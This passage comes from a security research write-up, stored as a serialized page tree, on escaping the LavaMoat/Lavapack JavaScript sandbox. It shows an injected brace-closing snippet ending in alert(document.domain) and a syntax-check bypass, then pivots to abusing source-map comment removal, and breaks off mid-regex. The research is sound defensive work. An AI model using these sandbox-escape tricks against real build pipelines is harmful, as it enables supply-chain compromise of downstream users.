performScuttleGlobalThis",{"type":21,"tag":85,"props":48239,"children":48240},{"style":114},[48241],{"type":26,"value":1439},{"type":21,"tag":85,"props":48243,"children":48244},{"style":120},[48245],{"type":26,"value":48228},{"type":21,"tag":85,"props":48247,"children":48248},{"style":114},[48249],{"type":26,"value":256},{"type":21,"tag":85,"props":48251,"children":48252},{"style":120},[48253],{"type":26,"value":48064},{"type":21,"tag":85,"props":48255,"children":48256},{"style":114},[48257],{"type":26,"value":73},{"type":21,"tag":85,"props":48259,"children":48260},{"style":120},[48261],{"type":26,"value":48123},{"type":21,"tag":85,"props":48263,"children":48264},{"style":114},[48265],{"type":26,"value":20139},{"type":21,"tag":85,"props":48267,"children":48268},{"class":87,"line":501},[48269],{"type":21,"tag":85,"props":48270,"children":48271},{"style":114},[48272],{"type":26,"value":507},{"type":21,"tag":22,"props":48274,"children":48275},{},[48276,48278,48284,48286,48292],{"type":26,"value":48277},"Subsequently, the code defines a ",{"type":21,"tag":335,"props":48279,"children":48282},{"href":48280,"rel":48281},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[339],[48283],{"type":26,"value":31822},{"type":26,"value":48285}," called ",{"type":21,"tag":66,"props":48287,"children":48289},{"className":48288},[],[48290],{"type":26,"value":48291},"generateScuttleOpts",{"type":26,"value":48293}," that creates and returns an options object.",{"type":21,"tag":22,"props":48295,"children":48296},{},[48297,48299,48305,48306,48312,48314,48319,48321,48327],{"type":26,"value":48298},"Finally, the ",{"type":21,"tag":66,"props":48300,"children":48302},{"className":48301},[],[48303],{"type":26,"value":48304},"performScuttleGlobalThis",{"type":26,"value":790},{"type":21,"tag":335,"props":48307,"children":48310},{"href":48308,"rel":48309},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[339],[48311],{"type":26,"value":31822},{"type":26,"value":48313}," modifies the properties of the global object (",{"type":21,"tag":66,"props":48315,"children":48317},{"className":48316},[],[48318],{"type":26,"value":48219},{"type":26,"value":48320},"). It starts by creating an array ",{"type":21,"tag":66,"props":48322,"children":48324},{"className":48323},[],[48325],{"type":26,"value":48326},"props",{"type":26,"value":48328},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":21,"tag":54,"props":48330,"children":48332},{"id":48331},"hacking-webpacks",[48333],{"type":26,"value":48334},"Hacking Webpacks",{"type":21,"tag":22,"props":48336,"children":48337},{},[48338],{"type":26,"value":48339},"Now let's get to the fun stuff.",{"type":21,"tag":22,"props":48341,"children":48342},{},[48343],{"type":26,"value":48344},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":21,"tag":75,"props":48346,"children":48348},{"className":31808,"code":48347,"language":31810,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[48349],{"type":21,"tag":66,"props":48350,"children":48351},{"__ignoreMap":7},[48352,48404,48416,48436,48453,48461,48469,48477,48485,48506,48514,48522,48530,48537,48544,48551],{"type":21,"tag":85,"props":48353,"children":48354},{"class":87,"line":88},[48355,48359,48364,48368,48373,48377,48382,48386,48391,48395,48400],{"type":21,"tag":85,"props":48356,"children":48357},{"style":102},[48358],{"type":26,"value":36636},{"type":21,"tag":85,"props":48360,"children":48361},{"style":120},[48362],{"type":26,"value":48363}," filename",{"type":21,"tag":85,"props":48365,"children":48366},{"style":169},[48367],{"type":26,"value":1941},{"type":21,"tag":85,"props":48369,"children":48370},{"style":1021},[48371],{"type":26,"value":48372}," encodeURI",{"type":21,"tag":85,"props":48374,"children":48375},{"style":114},[48376],{"type":26,"value":1439},{"type":21,"tag":85,"props":48378,"children":48379},{"style":1021},[48380],{"type":26,"value":48381},"String",{"type":21,"tag":85,"props":48383,"children":48384},{"style":114},[48385],{"type":26,"value":1439},{"type":21,"tag":85,"props":48387,"children":48388},{"style":120},[48389],{"type":26,"value":48390},"moduleData",{"type":21,"tag":85,"props":48392,"children":48393},{"style":114},[48394],{"type":26,"value":73},{"type":21,"tag":85,"props":48396,"children":48397},{"style":120},[48398],{"type":26,"value":48399},"file",{"type":21,"tag":85,"props":48401,"children":48402},{"style":114},[48403],{"type":26,"value":20139},{"type":21,"tag":85,"props":48405,"children":48406},{"class":87,"line":98},[48407,48411],{"type":21,"tag":85,"props":48408,"children":48409},{"style":102},[48410],{"type":26,"value":2206},{"type":21,"tag":85,"props":48412,"children":48413},{"style":120},[48414],{"type":26,"value":48415}," moduleWrapperSource\n",{"type":21,"tag":85,"props":48417,"children":48418},{"class":87,"line":151},[48419,48423,48427,48432],{"type":21,"tag":85,"props":48420,"children":48421},{"style":2885},[48422],{"type":26,"value":31839},{"type":21,"tag":85,"props":48424,"children":48425},{"style":114},[48426],{"type":26,"value":717},{"type":21,"tag":85,"props":48428,"children":48429},{"style":120},[48430],{"type":26,"value":48431},"bundleWithPrecompiledModules",{"type":21,"tag":85,"props":48433,"children":48434},{"style":114},[48435],{"type":26,"value":15222},{"type":21,"tag":85,"props":48437,"children":48438},{"class":87,"line":160},[48439,48444,48448],{"type":21,"tag":85,"props":48440,"children":48441},{"style":120},[48442],{"type":26,"value":48443},"    moduleWrapperSource",{"type":21,"tag":85,"props":48445,"children":48446},{"style":169},[48447],{"type":26,"value":1941},{"type":21,"tag":85,"props":48449,"children":48450},{"style":5026},[48451],{"type":26,"value":48452}," `function(){\n",{"type":21,"tag":85,"props":48454,"children":48455},{"class":87,"line":185},[48456],{"type":21,"tag":85,"props":48457,"children":48458},{"style":5026},[48459],{"type":26,"value":48460},"      with (this.scopeTerminator) {\n",{"type":21,"tag":85,"props":48462,"children":48463},{"class":87,"line":501},[48464],{"type":21,"tag":85,"props":48465,"children":48466},{"style":5026},[48467],{"type":26,"value":48468},"        with (this.globalThis) {\n",{"type":21,"tag":85,"props":48470,"children":48471},{"class":87,"line":697},[48472],{"type":21,"tag":85,"props":48473,"children":48474},{"style":5026},[48475],{"type":26,"value":48476},"          return function() {\n",{"type":21,"tag":85,"props":48478,"children":48479},{"class":87,"line":706},[48480],{"type":21,"tag":85,"props":48481,"children":48482},{"style":5026},[48483],{"type":26,"value":48484},"            'use strict';\n",{"type":21,"tag":85,"props":48486,"children":48487},{"class":87,"line":1100},[48488,48493,48497,48502],{"type":21,"tag":85,"props":48489,"children":48490},{"style":5026},[48491],{"type":26,"value":48492},"            // source: ",{"type":21,"tag":85,"props":48494,"children":48495},{"style":102},[48496],{"type":26,"value":34555},{"type":21,"tag":85,"props":48498,"children":48499},{"style":120},[48500],{"type":26,"value":48501},"filename",{"type":21,"tag":85,"props":48503,"children":48504},{"style":102},[48505],{"type":26,"value":2671},{"type":21,"tag":85,"props":48507,"children":48508},{"class":87,"line":1339},[48509],{"type":21,"tag":85,"props":48510,"children":48511},{"style":5026},[48512],{"type":26,"value":48513},"            return function (require, module, exports) {\n",{"type":21,"tag":85,"props":48515,"children":48516},{"class":87,"line":1348},[48517],{"type":21,"tag":85,"props":48518,"children":48519},{"style":5026},[48520],{"type":26,"value":48521},"              __MODULE_CONTENT__\n",{"type":21,"tag":85,"props":48523,"children":48524},{"class":87,"line":1386},[48525],{"type":21,"tag":85,"props":48526,"children":48527},{"style":5026},[48528],{"type":26,"value":48529},"            };\n",{"type":21,"tag":85,"props":48531,"children":48532},{"class":87,"line":1394},[48533],{"type":21,"tag":85,"props":48534,"children":48535},{"style":5026},[48536],{"type":26,"value":3068},{"type":21,"tag":85,"props":48538,"children":48539},{"class":87,"line":1402},[48540],{"type":21,"tag":85,"props":48541,"children":48542},{"style":5026},[48543],{"type":26,"value":4118},{"type":21,"tag":85,"props":48545,"children":48546},{"class":87,"line":3145},[48547],{"type":21,"tag":85,"props":48548,"children":48549},{"style":5026},[48550],{"type":26,"value":13081},{"type":21,"tag":85,"props":48552,"children":48553},{"class":87,"line":3246},[48554],{"type":21,"tag":85,"props":48555,"children":48556},{"style":5026},[48557],{"type":26,"value":48558},"    }`\n",{"type":21,"tag":22,"props":48560,"children":48561},{},[48562,48564,48570,48572,48578],{"type":26,"value":48563},"Lavapack uses ",{"type":21,"tag":66,"props":48565,"children":48567},{"className":48566},[],[48568],{"type":26,"value":48569},"with()",{"type":26,"value":48571}," proxies to restrict the objects accessible by the module, and ",{"type":21,"tag":66,"props":48573,"children":48575},{"className":48574},[],[48576],{"type":26,"value":48577},"__MODULE_CONTENT__",{"type":26,"value":48579}," is replaced by the content of a file required by the project being built.",{"type":21,"tag":10022,"props":48581,"children":48583},{"id":48582},"injection-not-so-simple",[48584],{"type":26,"value":48585},"Injection? Not So Simple",{"type":21,"tag":22,"props":48587,"children":48588},{},[48589,48591,48596],{"type":26,"value":48590},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":21,"tag":66,"props":48592,"children":48594},{"className":48593},[],[48595],{"type":26,"value":13068},{"type":26,"value":48597}," environment:",{"type":21,"tag":75,"props":48599,"children":48601},{"className":31808,"code":48600,"language":31810,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[48602],{"type":21,"tag":66,"props":48603,"children":48604},{"__ignoreMap":7},[48605,48618,48630,48642,48654,48661],{"type":21,"tag":85,"props":48606,"children":48607},{"class":87,"line":88},[48608,48613],{"type":21,"tag":85,"props":48609,"children":48610},{"style":114},[48611],{"type":26,"value":48612},"   } ",{"type":21,"tag":85,"props":48614,"children":48615},{"style":92},[48616],{"type":26,"value":48617},"// end function 1\n",{"type":21,"tag":85,"props":48619,"children":48620},{"class":87,"line":98},[48621,48625],{"type":21,"tag":85,"props":48622,"children":48623},{"style":114},[48624],{"type":26,"value":31913},{"type":21,"tag":85,"props":48626,"children":48627},{"style":92},[48628],{"type":26,"value":48629},"// end function 2\n",{"type":21,"tag":85,"props":48631,"children":48632},{"class":87,"line":151},[48633,48637],{"type":21,"tag":85,"props":48634,"children":48635},{"style":114},[48636],{"type":26,"value":36650},{"type":21,"tag":85,"props":48638,"children":48639},{"style":92},[48640],{"type":26,"value":48641},"// end with 1\n",{"type":21,"tag":85,"props":48643,"children":48644},{"class":87,"line":160},[48645,48649],{"type":21,"tag":85,"props":48646,"children":48647},{"style":114},[48648],{"type":26,"value":47328},{"type":21,"tag":85,"props":48650,"children":48651},{"style":92},[48652],{"type":26,"value":48653},"// end with 2\n",{"type":21,"tag":85,"props":48655,"children":48656},{"class":87,"line":185},[48657],{"type":21,"tag":85,"props":48658,"children":48659},{"emptyLinePlaceholder":16},[48660],{"type":26,"value":703},{"type":21,"tag":85,"props":48662,"children":48663},{"class":87,"line":501},[48664,48668,48672,48676,48680,48684],{"type":21,"tag":85,"props":48665,"children":48666},{"style":1021},[48667],{"type":26,"value":33143},{"type":21,"tag":85,"props":48669,"children":48670},{"style":114},[48671],{"type":26,"value":1439},{"type":21,"tag":85,"props":48673,"children":48674},{"style":120},[48675],{"type":26,"value":33153},{"type":21,"tag":85,"props":48677,"children":48678},{"style":114},[48679],{"type":26,"value":73},{"type":21,"tag":85,"props":48681,"children":48682},{"style":120},[48683],{"type":26,"value":33163},{"type":21,"tag":85,"props":48685,"children":48686},{"style":114},[48687],{"type":26,"value":2485},{"type":21,"tag":22,"props":48689,"children":48690},{},[48691,48693,48699,48701,48708],{"type":26,"value":48692},"However, when we tried to bundle it, a ",{"type":21,"tag":66,"props":48694,"children":48696},{"className":48695},[],[48697],{"type":26,"value":48698},"ParseError",{"type":26,"value":48700}," was thrown. This is because Lavapack is a plugin of ",{"type":21,"tag":335,"props":48702,"children":48705},{"href":48703,"rel":48704},"https://github.com/browserify/browserify",[339],[48706],{"type":26,"value":48707},"browserify",{"type":26,"value":48709},", which has a syntax check before replacing the code.",{"type":21,"tag":22,"props":48711,"children":48712},{},[48713,48715,48721,48723,48729,48731,48737,48739,48744],{"type":26,"value":48714},"Looking deeper into browserify, we find it has a ",{"type":21,"tag":66,"props":48716,"children":48718},{"className":48717},[],[48719],{"type":26,"value":48720},"syntax",{"type":26,"value":48722}," stage on it's pipeline, and uses the ",{"type":21,"tag":66,"props":48724,"children":48726},{"className":48725},[],[48727],{"type":26,"value":48728},"syntax-error",{"type":26,"value":48730}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":21,"tag":66,"props":48732,"children":48734},{"className":48733},[],[48735],{"type":26,"value":48736},"pack",{"type":26,"value":48738}," stage on browserify pipeline, which comes after the ",{"type":21,"tag":66,"props":48740,"children":48742},{"className":48741},[],[48743],{"type":26,"value":48720},{"type":26,"value":48745},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":21,"tag":22,"props":48747,"children":48748},{},[48749],{"type":21,"tag":4681,"props":48750,"children":48753},{"alt":48751,"src":48752},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":21,"tag":22,"props":48755,"children":48756},{},[48757,48758,48763,48765,48770],{"type":26,"value":17034},{"type":21,"tag":66,"props":48759,"children":48761},{"className":48760},[],[48762],{"type":26,"value":48728},{"type":26,"value":48764}," package performs a syntax check by using  ",{"type":21,"tag":66,"props":48766,"children":48768},{"className":48767},[],[48769],{"type":26,"value":37996},{"type":26,"value":48771}," with function hoisting:",{"type":21,"tag":75,"props":48773,"children":48775},{"className":31808,"code":48774,"language":31810,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[48776],{"type":21,"tag":66,"props":48777,"children":48778},{"__ignoreMap":7},[48779,48791,48841,48852,48859,48880,48921,48981,49022],{"type":21,"tag":85,"props":48780,"children":48781},{"class":87,"line":88},[48782,48787],{"type":21,"tag":85,"props":48783,"children":48784},{"style":2885},[48785],{"type":26,"value":48786},"try",{"type":21,"tag":85,"props":48788,"children":48789},{"style":114},[48790],{"type":26,"value":148},{"type":21,"tag":85,"props":48792,"children":48793},{"class":87,"line":98},[48794,48799,48803,48808,48812,48817,48821,48826,48832,48837],{"type":21,"tag":85,"props":48795,"children":48796},{"style":1021},[48797],{"type":26,"value":48798},"    eval",{"type":21,"tag":85,"props":48800,"children":48801},{"style":114},[48802],{"type":26,"value":1439},{"type":21,"tag":85,"props":48804,"children":48805},{"style":5026},[48806],{"type":26,"value":48807},"'throw \"STOP\"; (function () { '",{"type":21,"tag":85,"props":48809,"children":48810},{"style":169},[48811],{"type":26,"value":3274},{"type":21,"tag":85,"props":48813,"children":48814},{"style":120},[48815],{"type":26,"value":48816}," src",{"type":21,"tag":85,"props":48818,"children":48819},{"style":169},[48820],{"type":26,"value":3274},{"type":21,"tag":85,"props":48822,"children":48823},{"style":5026},[48824],{"type":26,"value":48825}," '",{"type":21,"tag":85,"props":48827,"children":48829},{"style":48828},"--shiki-default:#D7BA7D",[48830],{"type":26,"value":48831},"\\n",{"type":21,"tag":85,"props":48833,"children":48834},{"style":5026},[48835],{"type":26,"value":48836},"})()'",{"type":21,"tag":85,"props":48838,"children":48839},{"style":114},[48840],{"type":26,"value":777},{"type":21,"tag":85,"props":48842,"children":48843},{"class":87,"line":151},[48844,48848],{"type":21,"tag":85,"props":48845,"children":48846},{"style":2885},[48847],{"type":26,"value":17411},{"type":21,"tag":85,"props":48849,"children":48850},{"style":114},[48851],{"type":26,"value":2535},{"type":21,"tag":85,"props":48853,"children":48854},{"class":87,"line":160},[48855],{"type":21,"tag":85,"props":48856,"children":48857},{"style":114},[48858],{"type":26,"value":2671},{"type":21,"tag":85,"props":48860,"children":48861},{"class":87,"line":185},[48862,48867,48871,48876],{"type":21,"tag":85,"props":48863,"children":48864},{"style":2885},[48865],{"type":26,"value":48866},"catch",{"type":21,"tag":85,"props":48868,"children":48869},{"style":114},[48870],{"type":26,"value":717},{"type":21,"tag":85,"props":48872,"children":48873},{"style":120},[48874],{"type":26,"value":48875},"err",{"type":21,"tag":85,"props":48877,"children":48878},{"style":114},[48879],{"type":26,"value":15222},{"type":21,"tag":85,"props":48881,"children":48882},{"class":87,"line":501},[48883,48887,48891,48895,48899,48904,48908,48913,48917],{"type":21,"tag":85,"props":48884,"children":48885},{"style":2885},[48886],{"type":26,"value":12696},{"type":21,"tag":85,"props":48888,"children":48889},{"style":114},[48890],{"type":26,"value":717},{"type":21,"tag":85,"props":48892,"children":48893},{"style":120},[48894],{"type":26,"value":48875},{"type":21,"tag":85,"props":48896,"children":48897},{"style":169},[48898],{"type":26,"value":31867},{"type":21,"tag":85,"props":48900,"children":48901},{"style":5026},[48902],{"type":26,"value":48903}," 'STOP'",{"type":21,"tag":85,"props":48905,"children":48906},{"style":114},[48907],{"type":26,"value":736},{"type":21,"tag":85,"props":48909,"children":48910},{"style":2885},[48911],{"type":26,"value":48912},"return",{"type":21,"tag":85,"props":48914,"children":48915},{"style":102},[48916],{"type":26,"value":39786},{"type":21,"tag":85,"props":48918,"children":48919},{"style":114},[48920],{"type":26,"value":2535},{"type":21,"tag":85,"props":48922,"children":48923},{"class":87,"line":697},[48924,48928,48932,48936,48940,48945,48949,48954,48959,48964,48968,48972,48977],{"type":21,"tag":85,"props":48925,"children":48926},{"style":2885},[48927],{"type":26,"value":12696},{"type":21,"tag":85,"props":48929,"children":48930},{"style":114},[48931],{"type":26,"value":717},{"type":21,"tag":85,"props":48933,"children":48934},{"style":120},[48935],{"type":26,"value":48875},{"type":21,"tag":85,"props":48937,"children":48938},{"style":114},[48939],{"type":26,"value":73},{"type":21,"tag":85,"props":48941,"children":48942},{"style":120},[48943],{"type":26,"value":48944},"constructor",{"type":21,"tag":85,"props":48946,"children":48947},{"style":114},[48948],{"type":26,"value":73},{"type":21,"tag":85,"props":48950,"children":48951},{"style":120},[48952],{"type":26,"value":48953},"name",{"type":21,"tag":85,"props":48955,"children":48956},{"style":169},[48957],{"type":26,"value":48958}," !==",{"type":21,"tag":85,"props":48960,"children":48961},{"style":5026},[48962],{"type":26,"value":48963}," 'SyntaxError'",{"type":21,"tag":85,"props":48965,"children":48966},{"style":114},[48967],{"type":26,"value":736},{"type":21,"tag":85,"props":48969,"children":48970},{"style":2885},[48971],{"type":26,"value":48912},{"type":21,"tag":85,"props":48973,"children":48974},{"style":120},[48975],{"type":26,"value":48976}," err",{"type":21,"tag":85,"props":48978,"children":48979},{"style":114},[48980],{"type":26,"value":2535},{"type":21,"tag":85,"props":48982,"children":48983},{"class":87,"line":706},[48984,48988,48993,48997,49001,49005,49009,49013,49018],{"type":21,"tag":85,"props":48985,"children":48986},{"style":2885},[48987],{"type":26,"value":17411},{"type":21,"tag":85,"props":48989,"children":48990},{"style":1021},[48991],{"type":26,"value":48992}," errorInfo",{"type":21,"tag":85,"props":48994,"children":48995},{"style":114},[48996],{"type":26,"value":1439},{"type":21,"tag":85,"props":48998,"children":48999},{"style":120},[49000],{"type":26,"value":33115},{"type":21,"tag":85,"props":49002,"children":49003},{"style":114},[49004],{"type":26,"value":256},{"type":21,"tag":85,"props":49006,"children":49007},{"style":120},[49008],{"type":26,"value":48399},{"type":21,"tag":85,"props":49010,"children":49011},{"style":114},[49012],{"type":26,"value":256},{"type":21,"tag":85,"props":49014,"children":49015},{"style":120},[49016],{"type":26,"value":49017},"opts",{"type":21,"tag":85,"props":49019,"children":49020},{"style":114},[49021],{"type":26,"value":777},{"type":21,"tag":85,"props":49023,"children":49024},{"class":87,"line":1100},[49025],{"type":21,"tag":85,"props":49026,"children":49027},{"style":114},[49028],{"type":26,"value":2671},{"type":21,"tag":22,"props":49030,"children":49031},{},[49032,49034,49038,49040,49046,49048,49053],{"type":26,"value":49033},"Interestingly, it ",{"type":21,"tag":39,"props":49035,"children":49036},{},[49037],{"type":26,"value":4739},{"type":26,"value":49039}," possible to inject a ",{"type":21,"tag":66,"props":49041,"children":49043},{"className":49042},[],[49044],{"type":26,"value":49045},"}); (() => {",{"type":26,"value":49047}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":21,"tag":66,"props":49049,"children":49051},{"className":49050},[],[49052],{"type":26,"value":48569},{"type":26,"value":49054}," sandbox of Lavapack.",{"type":21,"tag":10022,"props":49056,"children":49058},{"id":49057},"sourcemap-the-syntax-killer",[49059],{"type":26,"value":49060},"SourceMap: The Syntax Killer",{"type":21,"tag":22,"props":49062,"children":49063},{},[49064,49066,49073],{"type":26,"value":49065},"Lavapack has a feature to extract source maps files from the code using ",{"type":21,"tag":335,"props":49067,"children":49070},{"href":49068,"rel":49069},"https://www.npmjs.com/package/convert-source-map",[339],[49071],{"type":26,"value":49072},"convert-source-map",{"type":26,"value":49074}," npm package:",{"type":21,"tag":75,"props":49076,"children":49078},{"className":31808,"code":49077,"language":31810,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[49079],{"type":21,"tag":66,"props":49080,"children":49081},{"__ignoreMap":7},[49082,49106,49148,49156,49197,49238,49266],{"type":21,"tag":85,"props":49083,"children":49084},{"class":87,"line":88},[49085,49089,49094,49098,49102],{"type":21,"tag":85,"props":49086,"children":49087},{"style":102},[49088],{"type":26,"value":31822},{"type":21,"tag":85,"props":49090,"children":49091},{"style":1021},[49092],{"type":26,"value":49093}," extractSourceMaps",{"type":21,"tag":85,"props":49095,"children":49096},{"style":114},[49097],{"type":26,"value":1439},{"type":21,"tag":85,"props":49099,"children":49100},{"style":120},[49101],{"type":26,"value":38462},{"type":21,"tag":85,"props":49103,"children":49104},{"style":114},[49105],{"type":26,"value":15222},{"type":21,"tag":85,"props":49107,"children":49108},{"class":87,"line":98},[49109,49113,49118,49122,49127,49131,49136,49140,49144],{"type":21,"tag":85,"props":49110,"children":49111},{"style":102},[49112],{"type":26,"value":36636},{"type":21,"tag":85,"props":49114,"children":49115},{"style":120},[49116],{"type":26,"value":49117}," converter",{"type":21,"tag":85,"props":49119,"children":49120},{"style":169},[49121],{"type":26,"value":1941},{"type":21,"tag":85,"props":49123,"children":49124},{"style":120},[49125],{"type":26,"value":49126}," convertSourceMap",{"type":21,"tag":85,"props":49128,"children":49129},{"style":114},[49130],{"type":26,"value":73},{"type":21,"tag":85,"props":49132,"children":49133},{"style":1021},[49134],{"type":26,"value":49135},"fromSource",{"type":21,"tag":85,"props":49137,"children":49138},{"style":114},[49139],{"type":26,"value":1439},{"type":21,"tag":85,"props":49141,"children":49142},{"style":120},[49143],{"type":26,"value":38462},{"type":21,"tag":85,"props":49145,"children":49146},{"style":114},[49147],{"type":26,"value":2485},{"type":21,"tag":85,"props":49149,"children":49150},{"class":87,"line":151},[49151],{"type":21,"tag":85,"props":49152,"children":49153},{"style":92},[49154],{"type":26,"value":49155},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":21,"tag":85,"props":49157,"children":49158},{"class":87,"line":160},[49159,49163,49168,49172,49176,49180,49184,49188,49193],{"type":21,"tag":85,"props":49160,"children":49161},{"style":102},[49162],{"type":26,"value":36636},{"type":21,"tag":85,"props":49164,"children":49165},{"style":120},[49166],{"type":26,"value":49167}," maps",{"type":21,"tag":85,"props":49169,"children":49170},{"style":169},[49171],{"type":26,"value":1941},{"type":21,"tag":85,"props":49173,"children":49174},{"style":120},[49175],{"type":26,"value":49117},{"type":21,"tag":85,"props":49177,"children":49178},{"style":169},[49179],{"type":26,"value":14603},{"type":21,"tag":85,"props":49181,"children":49182},{"style":120},[49183],{"type":26,"value":49117},{"type":21,"tag":85,"props":49185,"children":49186},{"style":114},[49187],{"type":26,"value":73},{"type":21,"tag":85,"props":49189,"children":49190},{"style":1021},[49191],{"type":26,"value":49192},"toObject",{"type":21,"tag":85,"props":49194,"children":49195},{"style":114},[49196],{"type":26,"value":2086},{"type":21,"tag":85,"props":49198,"children":49199},{"class":87,"line":185},[49200,49204,49209,49213,49217,49221,49226,49230,49234],{"type":21,"tag":85,"props":49201,"children":49202},{"style":102},[49203],{"type":26,"value":36636},{"type":21,"tag":85,"props":49205,"children":49206},{"style":120},[49207],{"type":26,"value":49208}," code",{"type":21,"tag":85,"props":49210,"children":49211},{"style":169},[49212],{"type":26,"value":1941},{"type":21,"tag":85,"props":49214,"children":49215},{"style":120},[49216],{"type":26,"value":49126},{"type":21,"tag":85,"props":49218,"children":49219},{"style":114},[49220],{"type":26,"value":73},{"type":21,"tag":85,"props":49222,"children":49223},{"style":1021},[49224],{"type":26,"value":49225},"removeComments",{"type":21,"tag":85,"props":49227,"children":49228},{"style":114},[49229],{"type":26,"value":1439},{"type":21,"tag":85,"props":49231,"children":49232},{"style":120},[49233],{"type":26,"value":38462},{"type":21,"tag":85,"props":49235,"children":49236},{"style":114},[49237],{"type":26,"value":2485},{"type":21,"tag":85,"props":49239,"children":49240},{"class":87,"line":501},[49241,49245,49249,49253,49257,49262],{"type":21,"tag":85,"props":49242,"children":49243},{"style":2885},[49244],{"type":26,"value":39647},{"type":21,"tag":85,"props":49246,"children":49247},{"style":114},[49248],{"type":26,"value":9999},{"type":21,"tag":85,"props":49250,"children":49251},{"style":120},[49252],{"type":26,"value":66},{"type":21,"tag":85,"props":49254,"children":49255},{"style":114},[49256],{"type":26,"value":256},{"type":21,"tag":85,"props":49258,"children":49259},{"style":120},[49260],{"type":26,"value":49261},"maps",{"type":21,"tag":85,"props":49263,"children":49264},{"style":114},[49265],{"type":26,"value":10009},{"type":21,"tag":85,"props":49267,"children":49268},{"class":87,"line":697},[49269],{"type":21,"tag":85,"props":49270,"children":49271},{"style":114},[49272],{"type":26,"value":2671},{"type":21,"tag":22,"props":49274,"children":49275},{},[49276,49278,49283,49285,49290],{"type":26,"value":49277},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":21,"tag":66,"props":49279,"children":49281},{"className":49280},[],[49282],{"type":26,"value":48720},{"type":26,"value":49284}," stage. Reviewing the ",{"type":21,"tag":66,"props":49286,"children":49288},{"className":49287},[],[49289],{"type":26,"value":49072},{"type":26,"value":49291}," code, we can see exactly how this happens.",{"type":21,"tag":75,"props":49293,"children":49295},{"className":31808,"code":49294,"language":31810,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[49296],{"type":21,"tag":66,"props":49297,"children":49298},{"__ignoreMap":7},[49299,49338,49364,49372,49586,49593,49600,49607,49642,49692],{"type":21,"tag":85,"props":49300,"children":49301},{"class":87,"line":88},[49302,49307,49311,49316,49320,49324,49328,49333],{"type":21,"tag":85,"props":49303,"children":49304},{"style":120},[49305],{"type":26,"value":49306},"Object",{"type":21,"tag":85,"props":49308,"children":49309},{"style":114},[49310],{"type":26,"value":73},{"type":21,"tag":85,"props":49312,"children":49313},{"style":1021},[49314],{"type":26,"value":49315},"defineProperty",{"type":21,"tag":85,"props":49317,"children":49318},{"style":114},[49319],{"type":26,"value":1439},{"type":21,"tag":85,"props":49321,"children":49322},{"style":108},[49323],{"type":26,"value":38334},{"type":21,"tag":85,"props":49325,"children":49326},{"style":114},[49327],{"type":26,"value":256},{"type":21,"tag":85,"props":49329,"children":49330},{"style":5026},[49331],{"type":26,"value":49332},"'commentRegex'",{"type":21,"tag":85,"props":49334,"children":49335},{"style":114},[49336],{"type":26,"value":49337},", {\n",{"type":21,"tag":85,"props":49339,"children":49340},{"class":87,"line":98},[49341,49346,49350,49354,49359],{"type":21,"tag":85,"props":49342,"children":49343},{"style":1021},[49344],{"type":26,"value":49345},"  get",{"type":21,"tag":85,"props":49347,"children":49348},{"style":120},[49349],{"type":26,"value":172},{"type":21,"tag":85,"props":49351,"children":49352},{"style":102},[49353],{"type":26,"value":38662},{"type":21,"tag":85,"props":49355,"children":49356},{"style":1021},[49357],{"type":26,"value":49358}," getCommentRegex",{"type":21,"tag":85,"props":49360,"children":49361},{"style":114},[49362],{"type":26,"value":49363}," () {\n",{"type":21,"tag":85,"props":49365,"children":49366},{"class":87,"line":151},[49367],{"type":21,"tag":85,"props":49368,"children":49369},{"style":92},[49370],{"type":26,"value":49371},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":21,"tag":85,"props":49373,"children":49374},{"class":87,"line":160},[49375,49379,49385,49390,49395,49400,49404,49409,49414,49419,49423,49427,49432,49437,49442,49447,49451,49455,49459,49464,49468,49473,49478,49483,49488,49492,49496,49500,49504,49508,49512,49516,49520,49525,49530,49534,49539,49544,49548,49552,49556,49560,49565,49569,49573,49577,49582],{"type":21,"tag":85,"props":49376,"children":49377},{"style":2885},[49378],{"type":26,"value":17411},{"type":21,"tag":85,"props":49380,"children":49382},{"style":49381},"--shiki-default:#D16969",[49383],{"type":26,"value":49384}," 